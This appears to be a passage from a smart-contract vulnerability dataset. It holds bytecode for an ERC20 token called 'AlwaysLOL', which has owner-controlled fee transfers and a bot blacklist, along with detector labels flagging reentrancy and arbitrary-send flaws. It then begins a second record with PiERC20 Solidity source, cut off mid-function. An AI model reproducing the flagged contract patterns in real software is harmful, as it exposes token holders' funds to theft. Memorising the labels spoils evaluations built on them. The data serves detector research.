6113cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8e9092919063ffffffff16565b6113d5565b600190509392505050565b60006009905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107336113cd565b73ffffffffffffffffffffffffffffffffffffffff161461075357600080fd5b600061075e3061090e565b905061076981611df2565b50565b6107746113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610801576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f89061317e565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b6108266113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108aa9061317e565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610958600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ec565b9050919050565b6109676113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109eb9061317e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610aba6113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e9061317e565b60405180910390fd5b60008111610b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b81906130fe565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f416c776179734c4f4c20f09f9881000000000000000000000000000000000000815250905090565b6000610c0e610c076113cd565b84846115a0565b6001905092915050565b610c206113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca49061317e565b60405180910390fd5b60008111610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce79061311e565b60405180910390fd5b610d1f6064610d1183683635c9adc5dea0000061215a90919063ffffffff16565b6121d590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610d56919061321e565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610df06113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e749061317e565b60405180910390fd5b600f60149054906101000a900460ff1615610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec49061313e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f5d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113d5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa357600080fd5b505afa158015610fb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fdb9190612aa8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561103d57600080fd5b505afa158015611051573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110759190612aa8565b6040518363ffffffff1660e01b8152600401611092929190612f8e565b602060405180830381600087803b1580156110ac57600080fd5b505af11580156110c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e49190612aa8565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061116d3061090e565b600080611178610b94565b426040518863ffffffff1660e01b815260040161119a96959493929190612fe0565b6060604051808303818588803b1580156111b357600080fd5b505af11580156111c7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111ec9190612c54565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550600160088190555060146009819055506729a2241af62c00006010819055506001600f60146101000a81548160ff02191690831515021790555042601281905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611305929190612fb7565b602060405180830381600087803b15801561131f57600080fd5b505af1158015611333573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113579190612c02565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661139c6113cd565b73ffffffffffffffffffffffffffffffffffffffff16146113bc57600080fd5b60004790506113ca8161221f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611445576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143c906131de565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ac906130be565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611593919061321e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611610576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611607906131be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611680576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116779061307e565b60405180910390fd5b600081116116c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ba9061319e565b60405180910390fd5b6116cb610b94565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117395750611709610b94565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ccb57600f60179054906101000a900460ff161561196c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117bb57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118155750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561186f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561196b57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118b56113cd565b73ffffffffffffffffffffffffffffffffffffffff16148061192b5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119136113cd565b73ffffffffffffffffffffffffffffffffffffffff16145b61196a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611961906131fe565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a105750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a1957600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ac45750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b1a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b325750600f60179054906101000a900460ff165b15611c0757610258601254611b479190613354565b421015611c065742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b9957600080fd5b601054811115611ba857600080fd5b6001601154611bb791906133db565b42611bc29190613354565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000611c123061090e565b9050600f60159054906101000a900460ff16158015611c7f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c975750600f60169054906101000a900460ff165b15611cc9576000811115611caf57611cae81611df2565b5b60004790506000811115611cc757611cc64761221f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d725750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d7c57600090505b611d888484848461231a565b50505050565b6000838311158290611dd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcd919061305c565b60405180910390fd5b5060008385611de59190613435565b9050809150509392505050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e50577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e7e5781602001602082028036833780820191505090505b5090503081600081518110611ebc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f5e57600080fd5b505afa158015611f72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f969190612aa8565b81600181518110611fd0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113d5565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209b959493929190613239565b600060405180830381600087803b1580156120b557600080fd5b505af11580156120c9573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000600654821115612133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212a9061309e565b60405180910390fd5b600061213d612347565b905061215281846121d590919063ffffffff16565b915050919050565b60008083141561216d57600090506121cf565b6000828461217b91906133db565b905082848261218a91906133aa565b146121ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c19061315e565b60405180910390fd5b809150505b92915050565b600061221783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612372565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61226f6002846121d590919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561229a573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122eb6002846121d590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612316573d6000803e3d6000fd5b5050565b80612328576123276123d5565b5b612333848484612406565b80612341576123406125d1565b5b50505050565b60008060006123546125e3565b9150915061236b81836121d590919063ffffffff16565b9250505090565b600080831182906123b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b0919061305c565b60405180910390fd5b50600083856123c891906133aa565b9050809150509392505050565b60006008541480156123e957506000600954145b156123f357612404565b600060088190555060006009819055505b565b60008060008060008061241887612645565b95509550955095509550955061247686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ad90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061250b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126f790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061255781612755565b6125618483612812565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125be919061321e565b60405180910390a3505050505050505050565b60016008819055506014600981905550565b600080600060065490506000683635c9adc5dea000009050612619683635c9adc5dea000006006546121d590919063ffffffff16565b82101561263857600654683635c9adc5dea00000935093505050612641565b81819350935050505b9091565b60008060008060008060008060006126628a60085460095461284c565b9250925092506000612672612347565b905060008060006126858e8787876128e2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d8e565b905092915050565b60008082846127069190613354565b90508381101561274b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612742906130de565b60405180910390fd5b8091505092915050565b600061275f612347565b90506000612776828461215a90919063ffffffff16565b90506127ca81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126f790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612827826006546126ad90919063ffffffff16565b600681905550612842816007546126f790919063ffffffff16565b6007819055505050565b600080600080612878606461286a888a61215a90919063ffffffff16565b6121d590919063ffffffff16565b905060006128a26064612894888b61215a90919063ffffffff16565b6121d590919063ffffffff16565b905060006128cb826128bd858c6126ad90919063ffffffff16565b6126ad90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128fb858961215a90919063ffffffff16565b90506000612912868961215a90919063ffffffff16565b90506000612929878961215a90919063ffffffff16565b905060006129528261294485876126ad90919063ffffffff16565b6126ad90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061297e612979846132d3565b6132ae565b9050808382526020820190508285602086028201111561299d57600080fd5b60005b858110156129cd57816129b388826129d7565b8452602084019350602083019250506001810190506129a0565b5050509392505050565b6000813590506129e68161393a565b92915050565b6000815190506129fb8161393a565b92915050565b600082601f830112612a1257600080fd5b8135612a2284826020860161296b565b91505092915050565b600081359050612a3a81613951565b92915050565b600081519050612a4f81613951565b92915050565b600081359050612a6481613968565b92915050565b600081519050612a7981613968565b92915050565b600060208284031215612a9157600080fd5b6000612a9f848285016129d7565b91505092915050565b600060208284031215612aba57600080fd5b6000612ac8848285016129ec565b91505092915050565b60008060408385031215612ae457600080fd5b6000612af2858286016129d7565b9250506020612b03858286016129d7565b9150509250929050565b600080600060608486031215612b2257600080fd5b6000612b30868287016129d7565b9350506020612b41868287016129d7565b9250506040612b5286828701612a55565b9150509250925092565b60008060408385031215612b6f57600080fd5b6000612b7d858286016129d7565b9250506020612b8e85828601612a55565b9150509250929050565b600060208284031215612baa57600080fd5b600082013567ffffffffffffffff811115612bc457600080fd5b612bd084828501612a01565b91505092915050565b600060208284031215612beb57600080fd5b6000612bf984828501612a2b565b91505092915050565b600060208284031215612c1457600080fd5b6000612c2284828501612a40565b91505092915050565b600060208284031215612c3d57600080fd5b6000612c4b84828501612a55565b91505092915050565b600080600060608486031215612c6957600080fd5b6000612c7786828701612a6a565b9350506020612c8886828701612a6a565b9250506040612c9986828701612a6a565b9150509250925092565b6000612caf8383612cbb565b60208301905092915050565b612cc481613469565b82525050565b612cd381613469565b82525050565b6000612ce48261330f565b612cee8185613332565b9350612cf9836132ff565b8060005b83811015612d2a578151612d118882612ca3565b9750612d1c83613325565b925050600181019050612cfd565b5085935050505092915050565b612d408161347b565b82525050565b612d4f816134be565b82525050565b6000612d608261331a565b612d6a8185613343565b9350612d7a8185602086016134d0565b612d838161360a565b840191505092915050565b6000612d9b602383613343565b9150612da68261361b565b604082019050919050565b6000612dbe602a83613343565b9150612dc98261366a565b604082019050919050565b6000612de1602283613343565b9150612dec826136b9565b604082019050919050565b6000612e04601b83613343565b9150612e0f82613708565b602082019050919050565b6000612e27601b83613343565b9150612e3282613731565b602082019050919050565b6000612e4a601d83613343565b9150612e558261375a565b602082019050919050565b6000612e6d601783613343565b9150612e7882613783565b602082019050919050565b6000612e90602183613343565b9150612e9b826137ac565b604082019050919050565b6000612eb3602083613343565b9150612ebe826137fb565b602082019050919050565b6000612ed6602983613343565b9150612ee182613824565b604082019050919050565b6000612ef9602583613343565b9150612f0482613873565b604082019050919050565b6000612f1c602483613343565b9150612f27826138c2565b604082019050919050565b6000612f3f601183613343565b9150612f4a82613911565b602082019050919050565b612f5e816134a7565b82525050565b612f6d816134b1565b82525050565b6000602082019050612f886000830184612cca565b92915050565b6000604082019050612fa36000830185612cca565b612fb06020830184612cca565b9392505050565b6000604082019050612fcc6000830185612cca565b612fd96020830184612f55565b9392505050565b600060c082019050612ff56000830189612cca565b6130026020830188612f55565b61300f6040830187612d46565b61301c6060830186612d46565b6130296080830185612cca565b61303660a0830184612f55565b979650505050505050565b60006020820190506130566000830184612d37565b92915050565b600060208201905081810360008301526130768184612d55565b905092915050565b6000602082019050818103600083015261309781612d8e565b9050919050565b600060208201905081810360008301526130b781612db1565b9050919050565b600060208201905081810360008301526130d781612dd4565b9050919050565b600060208201905081810360008301526130f781612df7565b9050919050565b6000602082019050818103600083015261311781612e1a565b9050919050565b6000602082019050818103600083015261313781612e3d565b9050919050565b6000602082019050818103600083015261315781612e60565b9050919050565b6000602082019050818103600083015261317781612e83565b9050919050565b6000602082019050818103600083015261319781612ea6565b9050919050565b600060208201905081810360008301526131b781612ec9565b9050919050565b600060208201905081810360008301526131d781612eec565b9050919050565b600060208201905081810360008301526131f781612f0f565b9050919050565b6000602082019050818103600083015261321781612f32565b9050919050565b60006020820190506132336000830184612f55565b92915050565b600060a08201905061324e6000830188612f55565b61325b6020830187612d46565b818103604083015261326d8186612cd9565b905061327c6060830185612cca565b6132896080830184612f55565b9695505050505050565b60006020820190506132a86000830184612f64565b92915050565b60006132b86132c9565b90506132c48282613503565b919050565b6000604051905090565b600067ffffffffffffffff8211156132ee576132ed6135db565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061335f826134a7565b915061336a836134a7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561339f5761339e61357d565b5b828201905092915050565b60006133b5826134a7565b91506133c0836134a7565b9250826133d0576133cf6135ac565b5b828204905092915050565b60006133e6826134a7565b91506133f1836134a7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561342a5761342961357d565b5b828202905092915050565b6000613440826134a7565b915061344b836134a7565b92508282101561345e5761345d61357d565b5b828203905092915050565b600061347482613487565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134c9826134a7565b9050919050565b60005b838110156134ee5780820151818401526020810190506134d3565b838111156134fd576000848401525b50505050565b61350c8261360a565b810181811067ffffffffffffffff8211171561352b5761352a6135db565b5b80604052505050565b600061353f826134a7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156135725761357161357d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f4c697175696469747920616c7265616479206164646564000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61394381613469565b811461394e57600080fd5b50565b61395a8161347b565b811461396557600080fd5b50565b613971816134a7565b811461397c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f63671974dc0933014862e5ca37d8d8602b7fba757bd5fe94ce6564e950f3ff864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,611
0x6f440fb26ecf7f8a39555cd0246c9559b6efb241
/** *Submitted for verification at Etherscan.io on 2022-03-17 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract PiERC20 is IERC20Metadata, Ownable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); 